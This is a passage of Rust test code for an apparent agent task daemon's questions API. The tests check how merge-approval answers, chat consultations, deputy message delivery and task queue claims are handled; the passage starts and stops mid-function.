12183 fx.questions().put(&mut q).unwrap();
12184 let mut task = Task::new(
12185 "Owner".into(),
12186 "Original instruction".into(),
12187 state.repo.clone(),
12188 Source::Human,
12189 );
12190 task.runs = vec![state.id.clone(), "later-run".into()];
12191 fx.queue().put(&mut task).unwrap();
12192 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12193 let claim = fx.queue().claim(&task.id).unwrap();
12194 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12195 let path = format!("/api/questions/{}/answer", q.id);
12196 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12197 assert!(fx.questions().get(&q.id).unwrap().status.open());
12198 drop(claim);
12199 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12200 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12201 assert!(fx.questions().get(&q.id).unwrap().status.open());
12202 drop(publication);
12203 state.driver_exited = false;
12205 state.driver_pid = None;
12206 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12208 assert_eq!(
12209 state.liveness_under(fx.home.path(), false),
12210 crate::run::Liveness::Unknown
12211 );
12212
12213 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12214 state.driver_exited = true;
12215 state.land_armed_head = Some("head".into());
12216 state.save_under(fx.home.path()).unwrap();
12217 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12218 state.land_armed_head = None;
12219 state.save_under(fx.home.path()).unwrap();
12220 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12221 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12222 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12223 }
12224
12225 #[tokio::test]
12226 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12227 let fx = Fixture::start().await;
12228 let mut state = obsolete_approval_state();
12229 state.status = RunStatus::Landing;
12230 state.driver_exited = true;
12231 let mut q = Question::new(
12232 state.id.clone(),
12233 crate::land::APPROVAL_NODE.into(),
12234 "land".into(),
12235 "Obsolete approval".into(),
12236 String::new(),
12237 vec!["merge".into(), "hold".into()],
12238 );
12239 state.land_approval = Some(crate::run::LandApproval {
12240 question: q.id.clone(),
12241 head: "head".into(),
12242 });
12243 state.save_under(fx.home.path()).unwrap();
12244 fx.questions().put(&mut q).unwrap();
12245 let mut task = Task::new(
12246 "Owner".into(),
12247 "Original instruction".into(),
12248 state.repo.clone(),
12249 Source::Human,
12250 );
12251 task.runs.push(state.id.clone());
12252 task.status = TaskStatus::Parked;
12253 fx.queue().put(&mut task).unwrap();
12254 state.merge_decision = Some(crate::merge_decision::Decision {
12257 question: q.id.clone(),
12258 target: crate::merge_decision::Target {
12259 pr: state.pr.as_ref().unwrap().url.clone(),
12260 head: "head".into(),
12261 language: "ja".into(),
12262 },
12263 choice: crate::merge_decision::DISMISS.into(),
12264 closed: false,
12265 replacement_run: None,
12266 replacement_pr: None,
12267 });
12268 state.status = RunStatus::Superseded;
12269 state.save_under(fx.home.path()).unwrap();
12270 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12271 let path = format!("/api/questions/{}/answer", q.id);
12272 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12273 let done = fx.queue().get(&task.id).unwrap();
12274 assert_eq!(done.status, TaskStatus::Done);
12275 assert_eq!(done.runs, task.runs);
12276 assert_eq!(done.instruction, task.instruction);
12277 assert!(done.action_applied(&q.id));
12278 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12279 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12280 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12281 }
12282
12283 #[tokio::test]
12284 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12285 let home = TempDir::new().unwrap();
12286 let ui = Arc::new(Ui::new(
12287 Queue::at(home.path().join("queue")),
12288 Questions::at(home.path().join("questions")),
12289 Talks::at(home.path().join("talks")),
12290 home.path().join("runs"),
12291 home.path().to_owned(),
12292 home.path().to_owned(),
12293 ));
12294 let talks = &ui.talks;
12295 let chat =
12296 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12297 let mut q = Question::new(
12298 "run".into(),
12299 crate::land::APPROVAL_NODE.into(),
12300 "land".into(),
12301 "Merge?".into(),
12302 String::new(),
12303 vec!["merge".into(), "hold".into()],
12304 );
12305 q.routed_task = Some("task".into());
12306 q.routed_chat = Some(chat.id.clone());
12307 q.merge_target = Some(crate::merge_decision::Target {
12308 pr: "https://example.test/pull/1".into(),
12309 head: "head-a".into(),
12310 language: "en".into(),
12311 });
12312 ui.questions.put(&mut q).unwrap();
12313 let send = |body| {
12314 question_answer(
12315 State(ui.clone()),
12316 Path(q.id.clone()),
12317 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12318 )
12319 };
12320 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12321 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12322 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12323 assert!(send(wrong_chat).await.is_err());
12324 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12325 assert!(send(stale).await.is_err());
12326 assert!(ui.questions.get(&q.id).unwrap().status.open());
12327 assert!(send(button.clone()).await.is_ok());
12328 assert_eq!(
12329 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12330 Some("merge")
12331 );
12332 assert!(send(button).await.is_err());
12333 }
12334
12335 #[tokio::test]
12336 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12337 let home = TempDir::new().unwrap();
12338 let ui = Arc::new(Ui::new(
12339 Queue::at(home.path().join("queue")),
12340 Questions::at(home.path().join("questions")),
12341 Talks::at(home.path().join("talks")),
12342 home.path().join("runs"),
12343 home.path().to_owned(),
12344 home.path().to_owned(),
12345 ));
12346 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12347 let mut q = Question::new(
12348 "run".into(),
12349 crate::land::APPROVAL_NODE.into(),
12350 "land".into(),
12351 "Merge?".into(),
12352 String::new(),
12353 vec!["merge".into(), choice.into()],
12354 );
12355 q.routed_task = Some("task".into());
12356 q.merge_target = Some(crate::merge_decision::Target {
12357 pr: "https://example.test/pull/1".into(),
12358 head: "head-a".into(),
12359 language: "en".into(),
12360 });
12361 ui.questions.put(&mut q).unwrap();
12362 let answer = |c: &str| {
12363 question_answer(
12364 State(ui.clone()),
12365 Path(q.id.clone()),
12366 Ok(Json(
12367 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12368 .unwrap(),
12369 )),
12370 )
12371 };
12372 let _ = answer(choice).await.unwrap();
12373 assert_eq!(
12374 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12375 Some(choice)
12376 );
12377 }
12378 }
12379
12380 #[tokio::test]
12381 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12382 let home = TempDir::new().unwrap();
12383 let ui = Arc::new(Ui::new(
12384 Queue::at(home.path().join("queue")),
12385 Questions::at(home.path().join("questions")),
12386 Talks::at(home.path().join("talks")),
12387 home.path().join("runs"),
12388 home.path().to_owned(),
12389 home.path().to_owned(),
12390 ));
12391 let mut q = Question::new(
12392 "run".into(),
12393 crate::github_text::ASK_NODE.into(),
12394 "posting-gate".into(),
12395 "Post?".into(),
12396 String::new(),
12397 vec!["use fallback".into()],
12398 );
12399 q.routed_task = Some("task".into());
12400 ui.questions.put(&mut q).unwrap();
12401 let sent = question_answer(
12402 State(ui.clone()),
12403 Path(q.id.clone()),
12404 Ok(Json(
12405 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12406 .unwrap(),
12407 )),
12408 )
12409 .await;
12410 let _ = sent.unwrap();
12411 assert_eq!(
12412 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12413 Some("use fallback")
12414 );
12415 }
12416
12417 #[tokio::test]
12418 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12419 let fx = Fixture {
12420 home: TempDir::new().unwrap(),
12421 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12422 };
12423 for choice in [
12424 crate::land::HOLD,
12425 crate::land::REPAIR,
12426 crate::land::APPROVE,
12427 crate::merge_decision::WITHDRAW,
12428 "reimplement:beta",
12429 ] {
12430 let mut q = Question::new(
12431 "old-run".into(),
12432 crate::land::APPROVAL_NODE.into(),
12433 "land".into(),
12434 "Decision".into(),
12435 "Review findings".into(),
12436 vec![
12437 "merge".into(),
12438 "hold".into(),
12439 crate::land::REPAIR.into(),
12440 crate::merge_decision::WITHDRAW.into(),
12441 "reimplement:beta".into(),
12442 ],
12443 );
12444 q.merge_target = Some(crate::merge_decision::Target {
12445 pr: "https://github.com/example/repo/pull/42".into(),
12446 head: "exact-reviewed-head".into(),
12447 language: "ja".into(),
12448 });
12449 q.consult = Some(ask::ChatConsult {
12450 talk: "another-conversation".into(),
12451 at: jiff::Timestamp::now(),
12452 });
12453 fx.questions().put(&mut q).unwrap();
12454 let ui = Arc::new(Ui::new(
12455 fx.queue(),
12456 fx.questions(),
12457 fx.talks(),
12458 fx.runs(),
12459 fx.home.path().into(),
12460 std::path::PathBuf::from("."),
12461 ));
12462 let response = question_answer(
12463 State(ui.clone()),
12464 Path(q.id.clone()),
12465 Ok(Json(NewAnswer {
12466 choice: Some(choice.into()),
12467 text: None,
12468 ..Default::default()
12469 })),
12470 )
12471 .await
12472 .unwrap();
12473 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12474 let disk = fx.questions().get(&q.id).unwrap();
12475 assert_eq!(disk.merge_target, q.merge_target);
12476 assert_eq!(disk.consult, q.consult);
12477 assert_eq!(disk.resolution().as_deref(), Some(choice));
12478 assert!(
12479 question_answer(
12480 State(ui),
12481 Path(q.id.clone()),
12482 Ok(Json(NewAnswer {
12483 choice: Some("merge".into()),
12484 text: None,
12485 ..Default::default()
12486 }))
12487 )
12488 .await
12489 .is_err(),
12490 "an already settled decision cannot turn into merge approval"
12491 );
12492 }
12493 }
12494
12495 #[tokio::test]
12496 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12497 let fx = Fixture {
12498 home: TempDir::new().unwrap(),
12499 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12500 };
12501 let mut state = crate::land::tests::repair_state(true, true);
12502 state.status = RunStatus::Landing;
12503 state.parked = true;
12504 state.driver_exited = true;
12505 let mut task = Task::new(
12506 "Existing PR owner".into(),
12507 state.instruction.clone(),
12508 state.repo.clone(),
12509 Source::Human,
12510 );
12511 task.runs.push(state.id.clone());
12512 task.status = TaskStatus::Parked;
12513 fx.queue().put(&mut task).unwrap();
12514 let mut q = Question::new(
12515 state.id.clone(),
12516 crate::land::APPROVAL_NODE.into(),
12517 "land".into(),
12518 "Contested merge".into(),
12519 "Original evidence".into(),
12520 vec!["merge".into(), "hold".into()],
12521 );
12522 state.land_approval = Some(crate::run::LandApproval {
12523 question: q.id.clone(),
12524 head: "reviewed-head".into(),
12525 });
12526 state.save_under(fx.home.path()).unwrap();
12527 fx.questions().put(&mut q).unwrap();
12528 task.hold_manual(Some("Pause this PR".into()));
12530 fx.queue().put(&mut task).unwrap();
12531 let ui = Arc::new(Ui::new(
12534 fx.queue(),
12535 fx.questions(),
12536 fx.talks(),
12537 fx.runs(),
12538 fx.home.path().to_path_buf(),
12539 state.repo.clone(),
12540 ));
12541 let response = question_answer(
12542 State(ui),
12543 Path(q.id.clone()),
12544 Ok(Json(NewAnswer {
12545 choice: Some(crate::land::REPAIR.into()),
12546 text: None,
12547 ..Default::default()
12548 })),
12549 )
12550 .await
12551 .unwrap();
12552 assert_eq!(response.0.question.id, q.id);
12553 let upgraded = fx.questions().get(&q.id).unwrap();
12554 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12555 assert!(upgraded.detail.starts_with("Original evidence"));
12556 let claim = fx.queue().claim(&task.id).unwrap();
12557 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12558 assert!(
12559 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12560 "an existing driver keeps its claim"
12561 );
12562 drop(claim);
12563 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12564 let resumed = fx.queue().get(&task.id).unwrap();
12565 assert_eq!(
12566 resumed
12567 .resume_override
12568 .as_ref()
12569 .unwrap()
12570 .pinned_run
12571 .as_deref(),
12572 Some(state.id.as_str())
12573 );
12574 assert!(resumed.status.runnable());
12575 assert_eq!(resumed.instruction, task.instruction);
12576 assert_eq!(resumed.runs, task.runs);
12577 assert!(resumed.action_applied(&q.id));
12578 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12579 assert_eq!(fx.queue().list().len(), 1);
12580 assert_eq!(
12581 fx.queue().get(&task.id).unwrap().resume_override,
12582 resumed.resume_override
12583 );
12584 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12585 assert!(
12586 disk.merge_repairs.is_empty(),
12587 "only the claimed run driver may execute repair"
12588 );
12589 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12590 }
12591
12592 #[tokio::test]
12593 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12594 let fx = Fixture::start().await;
12595 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12596 let path = format!("/api/questions/{id}/answer");
12597
12598 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12599 assert_eq!(res.status, 200, "{}", res.body);
12600 let body = res.json();
12601 assert_eq!(body["status"], "answered");
12602 assert_eq!(body["answer"]["choice"], "Redis");
12603
12604 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12608 assert_eq!(again.status, 409, "{}", again.body);
12609 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12610 }
12611
12612 #[tokio::test]
12613 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12614 let home = tempfile::tempdir().unwrap();
12615 let ui = delta_test_ui(home.path());
12616 let mut q = Question::new(
12617 "task".into(),
12618 crate::land::APPROVAL_NODE.into(),
12619 "land".into(),
12620 "Explain?".into(),
12621 String::new(),
12622 vec!["hold".into()],
12623 );
12624 q.deputy = Some(ask::Deputy::new("context".into()));
12625 ui.questions.put(&mut q).unwrap();
12626 let mut cfg = stub_config();
12627 cfg.daemon.max_deputies = 0;
12628 let mut status = crate::daemon::Status::new();
12629 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12630 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12631 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12632 let error = question_say(
12633 State(ui.clone()),
12634 Path(q.id.clone()),
12635 Ok(Json(NewSay {
12636 body: "Explain the findings".into(),
12637 })),
12638 )
12639 .await
12640 .unwrap_err();
12641 assert_eq!(
12642 error.text_reason,
12643 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12644 );
12645 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12646
12647 let mut text = Question::new(
12648 "task".into(),
12649 "ask".into(),
12650 "operator".into(),
12651 "Which name?".into(),
12652 String::new(),
12653 vec![],
12654 );
12655 ui.questions.put(&mut text).unwrap();
12656 let Json(view) = question_answer(
12657 State(ui.clone()),
12658 Path(text.id.clone()),
12659 Ok(Json(NewAnswer {
12660 choice: None,
12661 text: Some("chosen name".into()),
12662 ..Default::default()
12663 })),
12664 )
12665 .await
12666 .unwrap();
12667 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12668 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12669 }
12670
12671 #[tokio::test]
12672 async fn question_text_handler_admission_without_transport() {
12673 let home = tempfile::tempdir().unwrap();
12674 let ui = delta_test_ui(home.path());
12675 let mut q = Question::new(
12676 "task".into(),
12677 crate::land::APPROVAL_NODE.into(),
12678 "land".into(),
12679 "May this PR merge?".into(),
12680 String::new(),
12681 vec!["hold".into()],
12682 );
12683 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12684 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12685 ui.questions.put(&mut q).unwrap();
12686 let say = || {
12687 Ok(Json(NewSay {
12688 body: "Explain the findings".into(),
12689 }))
12690 };
12691 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12692 .await
12693 .unwrap_err();
12694 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12695 let response = rejected.into_response();
12696 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12697 .await
12698 .unwrap();
12699 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12700 assert_eq!(body["code"], "question_text_unavailable");
12701 assert_eq!(body["reason"], "deputy_exhausted");
12702 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12703 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12704 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12705 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12706 .await
12707 .unwrap();
12708 assert_eq!(view.text_delivery.state, "live");
12709 assert!(view.question.waiter.is_none());
12710 assert!(view.question.cwd.is_none());
12711 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12712 ui.questions.drop_lease(&q.id);
12713 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12714 .await
12715 .unwrap_err();
12716 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12717 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12718 let _ = question_answer(
12719 State(ui.clone()),
12720 Path(q.id.clone()),
12721 Ok(Json(NewAnswer {
12722 choice: Some("hold".into()),
12723 text: None,
12724 ..Default::default()
12725 })),
12726 )
12727 .await
12728 .unwrap();
12729 assert_eq!(
12730 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12731 Some("hold")
12732 );
12733 }
12734
12735 #[tokio::test]
12736 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12737 let fx = Fixture::start().await;
12738 let store = fx.questions();
12739 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12740 store
12741 .update(&id, |q| {
12742 q.node = crate::land::APPROVAL_NODE.to_owned();
12743 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12744 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12745 Ok(())
12746 })
12747 .unwrap();
12748 let path = format!("/api/questions/{id}/say");
12749 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12750 assert_eq!(refused.status, 422, "{}", refused.body);
12751 assert!(
12752 refused.json()["error"]
12753 .as_str()
12754 .unwrap()
12755 .contains("deputy_exhausted")
12756 );
12757 assert!(store.get(&id).unwrap().thread.is_empty());
12758
12759 store.beat(&id, ask::WaiterKind::Deputy);
12761 let view = fx.get("/api/questions").await.json();
12762 assert_eq!(view[0]["text_delivery"]["state"], "live");
12763 let accepted = fx
12764 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12765 .await;
12766 assert_eq!(accepted.status, 200, "{}", accepted.body);
12767 let before = std::fs::read(store.path_of(&id)).unwrap();
12768
12769 store.drop_lease(&id);
12772 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12773 assert_eq!(refused.status, 422, "{}", refused.body);
12774 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12775 let held = fx
12776 .post(
12777 &format!("/api/questions/{id}/answer"),
12778 Some(r#"{"choice":"hold"}"#),
12779 )
12780 .await;
12781 assert_eq!(held.status, 200, "{}", held.body);
12782 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12783 }
12784
12785 #[tokio::test]
12786 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12787 let repo = tempfile::tempdir().unwrap();
12788 let mut cfg = stub_config();
12789 cfg.daemon.max_deputies = 0;
12790 std::fs::write(
12791 repo.path().join("magi.toml"),
12792 toml::to_string(&cfg).unwrap(),
12793 )
12794 .unwrap();
12795 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12796 let mut status = crate::daemon::Status::new();
12797 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12798 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12799 let id = ask(&fx, "Explain?", &["hold"]);
12800 fx.questions()
12801 .update(&id, |q| {
12802 q.node = crate::land::APPROVAL_NODE.into();
12803 q.deputy = Some(ask::Deputy::new("context".into()));
12804 q.deputy.as_mut().unwrap().agent = "stub".into();
12805 Ok(())
12806 })
12807 .unwrap();
12808 cfg.daemon.max_deputies = 1;
12809 std::fs::write(
12810 repo.path().join("magi.toml"),
12811 toml::to_string(&cfg).unwrap(),
12812 )
12813 .unwrap();
12814 let view = fx.get("/api/questions").await.json();
12815 assert_eq!(view[0]["deputies_enabled"], true);
12816 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12817 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12818 let res = fx
12819 .post(
12820 &format!("/api/questions/{id}/say"),
12821 Some(r#"{"body":"Please explain"}"#),
12822 )
12823 .await;
12824 assert_eq!(res.status, 422, "{}", res.body);
12825 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12826 }
12827
12828 #[tokio::test]
12829 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12830 let fx = Fixture::start().await;
12831 let id = ask(&fx, "No seat", &[]);
12832 let store = fx.questions();
12833 let before = std::fs::read(store.path_of(&id)).unwrap();
12834 let res = fx
12835 .post(
12836 &format!("/api/questions/{id}/say"),
12837 Some(r#"{"body":"hello"}"#),
12838 )
12839 .await;
12840 assert_eq!(res.status, 422, "{}", res.body);
12841 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12842 let res = fx
12843 .post(
12844 &format!("/api/questions/{id}/answer"),
12845 Some(r#"{"text":"hello"}"#),
12846 )
12847 .await;
12848 assert_eq!(res.status, 200, "{}", res.body);
12849 assert_eq!(
12850 store.get(&id).unwrap().resolution().as_deref(),
12851 Some("hello")
12852 );
12853 }
12854
12855 #[tokio::test]
12856 async fn saying_something_appends_a_turn_without_answering() {
12857 let fx = Fixture::start().await;
12858 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12859 fx.questions().beat(&id, ask::WaiterKind::Asker);
12860 let path = format!("/api/questions/{id}/say");
12861
12862 let res = fx
12863 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12864 .await;
12865 assert_eq!(res.status, 200, "{}", res.body);
12866 let body = res.json();
12867 assert_eq!(body["status"], "open", "talking back is not a decision");
12868 assert_eq!(body["answer"], Value::Null);
12869 assert_eq!(body["thread"][0]["who"], "operator");
12870 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12871 assert_eq!(body["waiting_on_agent"], true);
12872 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12874 }
12875
12876 #[tokio::test]
12877 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12878 let fx = Fixture::start().await;
12879 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12880
12881 let list = fx.get("/api/questions").await.json();
12882 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12883
12884 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12885 assert_eq!(res.status, 409, "{}", res.body);
12886 let q = fx.questions().get(&id).unwrap();
12887 assert!(q.status.open());
12888 assert!(q.consult.is_none());
12889 }
12890
12891 #[tokio::test]
12892 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12893 let fx = Fixture::start().await;
12894 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12895 let cfg = Config {
12896 agents: vec![crate::config::AgentSpec {
12897 id: "mock".to_owned(),
12898 kind: crate::config::AgentKind::Command,
12899 model: None,
12900 command: vec!["true".to_owned()],
12901 extra_args: Vec::new(),
12902 env: Default::default(),
12903 prompt_delivery: None,
12904 max_turn_secs: None,
12905 }],
12906 ..Config::default()
12907 };
12908 let talk = crate::talk::begin(
12909 &fx.talks(),
12910 &cfg,
12911 fx.home.path().to_path_buf(),
12912 Some("mock"),
12913 )
12914 .unwrap();
12915 let mut task = Task::new(
12916 "t".to_owned(),
12917 "Do it".to_owned(),
12918 PathBuf::from("/repo/magi"),
12919 Source::Agent {
12920 run: talk.id.clone(),
12921 node: crate::queue::CHAT_NODE.to_owned(),
12922 },
12923 );
12924 task.start("20260902-000000-beef".to_owned());
12925 fx.queue().put(&mut task).unwrap();
12926
12927 let list = fx.get("/api/questions").await.json();
12928 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12929 assert_eq!(
12930 list[0]["choices"],
12931 serde_json::json!(["SQLite", "Redis"]),
12932 "the hand-over is never a choice"
12933 );
12934 fx.questions()
12935 .update(&id, |q| {
12936 q.node = crate::land::APPROVAL_NODE.into();
12937 q.choices = vec!["merge".into(), "hold".into()];
12938 Ok(())
12939 })
12940 .unwrap();
12941 let list = fx.get("/api/questions").await.json();
12942 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12943 assert_eq!(list[0]["can_consult_chat"], true);
12944 fx.questions()
12945 .update(&id, |q| {
12946 q.node = crate::bump::NOTICE_NODE.into();
12947 Ok(())
12948 })
12949 .unwrap();
12950 let list = fx.get("/api/questions").await.json();
12951 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12952 assert_eq!(list[0]["can_consult_chat"], false);
12953 }
12954
12955 #[tokio::test]
12956 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12957 let fx = Fixture::start().await;
12958 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12959 fx.questions()
12960 .update(&id, |q| {
12961 q.node = crate::land::APPROVAL_NODE.into();
12962 q.choices = vec!["merge".into(), "hold".into()];
12963 Ok(())
12964 })
12965 .unwrap();
12966 let cfg = Config {
12967 agents: vec![crate::config::AgentSpec {
12968 id: "mock".to_owned(),
12969 kind: crate::config::AgentKind::Command,
12970 model: None,
12971 command: vec!["true".to_owned()],
12972 extra_args: Vec::new(),
12973 env: Default::default(),
12974 prompt_delivery: None,
12975 max_turn_secs: None,
12976 }],
12977 ..Config::default()
12978 };
12979 let repo = fx.home.path().join("chat-repo");
12981 std::fs::create_dir_all(&repo).unwrap();
12982 let toml = repo.join("magi.toml");
12983 std::fs::write(&toml, "this is = = not toml").unwrap();
12984 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12985 let mut task = Task::new(
12986 "t".to_owned(),
12987 "Do it".to_owned(),
12988 PathBuf::from("/repo/magi"),
12989 Source::Agent {
12990 run: talk.id.clone(),
12991 node: crate::queue::CHAT_NODE.to_owned(),
12992 },
12993 );
12994 task.start("20260902-000000-beef".to_owned());
12995 fx.queue().put(&mut task).unwrap();
12996
12997 let path = format!("/api/questions/{id}/consult");
12998 let res = fx.post(&path, None).await;
12999 assert!(res.status >= 400, "{}", res.body);
13000 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13001 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13002
13003 std::fs::write(&toml, "").unwrap();
13004 let res = fx.post(&path, None).await;
13005 assert_eq!(res.status, 202, "{}", res.body);
13006 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13007 let q = fx.questions().get(&id).unwrap();
13008 assert!(q.status.open());
13009 assert!(q.answer.is_none());
13010 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13011 assert_eq!(res.json()["can_consult_chat"], true);
13012 let list = fx.get("/api/questions").await.json();
13013 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13014 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13015
13016 let res = fx
13017 .post(
13018 &format!("/api/questions/{id}/answer"),
13019 Some(r#"{"choice":"hold"}"#),
13020 )
13021 .await;
13022 assert_eq!(res.status, 200, "{}", res.body);
13023 assert_eq!(res.json()["answer"]["choice"], "hold");
13024 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13025 assert_eq!(res.json()["can_consult_chat"], false);
13026 assert_eq!(fx.post(&path, None).await.status, 409);
13027
13028 let mut talk = fx.talks().get(&talk.id).unwrap();
13029 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13030 let list = fx.get("/api/questions").await.json();
13031 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13032 assert_eq!(list[0]["origin_chat_closed"], true);
13033 assert_eq!(list[0]["can_consult_chat"], false);
13034
13035 fx.talks().remove(&talk.id).unwrap();
13036 let list = fx.get("/api/questions").await.json();
13037 assert_eq!(list[0]["origin_chat"], Value::Null);
13038 assert_eq!(list[0]["origin_chat_closed"], false);
13039 assert_eq!(list[0]["can_consult_chat"], false);
13040 }
13041
13042 #[tokio::test]
13043 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13044 let fx = Fixture::start().await;
13045 let store = fx.questions();
13046 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13047 store.beat(&id, ask::WaiterKind::Asker);
13048 assert_eq!(
13049 fx.get("/api/health").await.json()["questions_needs_owner"],
13050 1
13051 );
13052
13053 let res = fx
13059 .post(
13060 &format!("/api/questions/{id}/say"),
13061 Some(r#"{"body":"why not Postgres?"}"#),
13062 )
13063 .await;
13064 assert_eq!(res.status, 200, "{}", res.body);
13065 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13066 assert_eq!(
13067 fx.get("/api/health").await.json()["questions_needs_owner"],
13068 0,
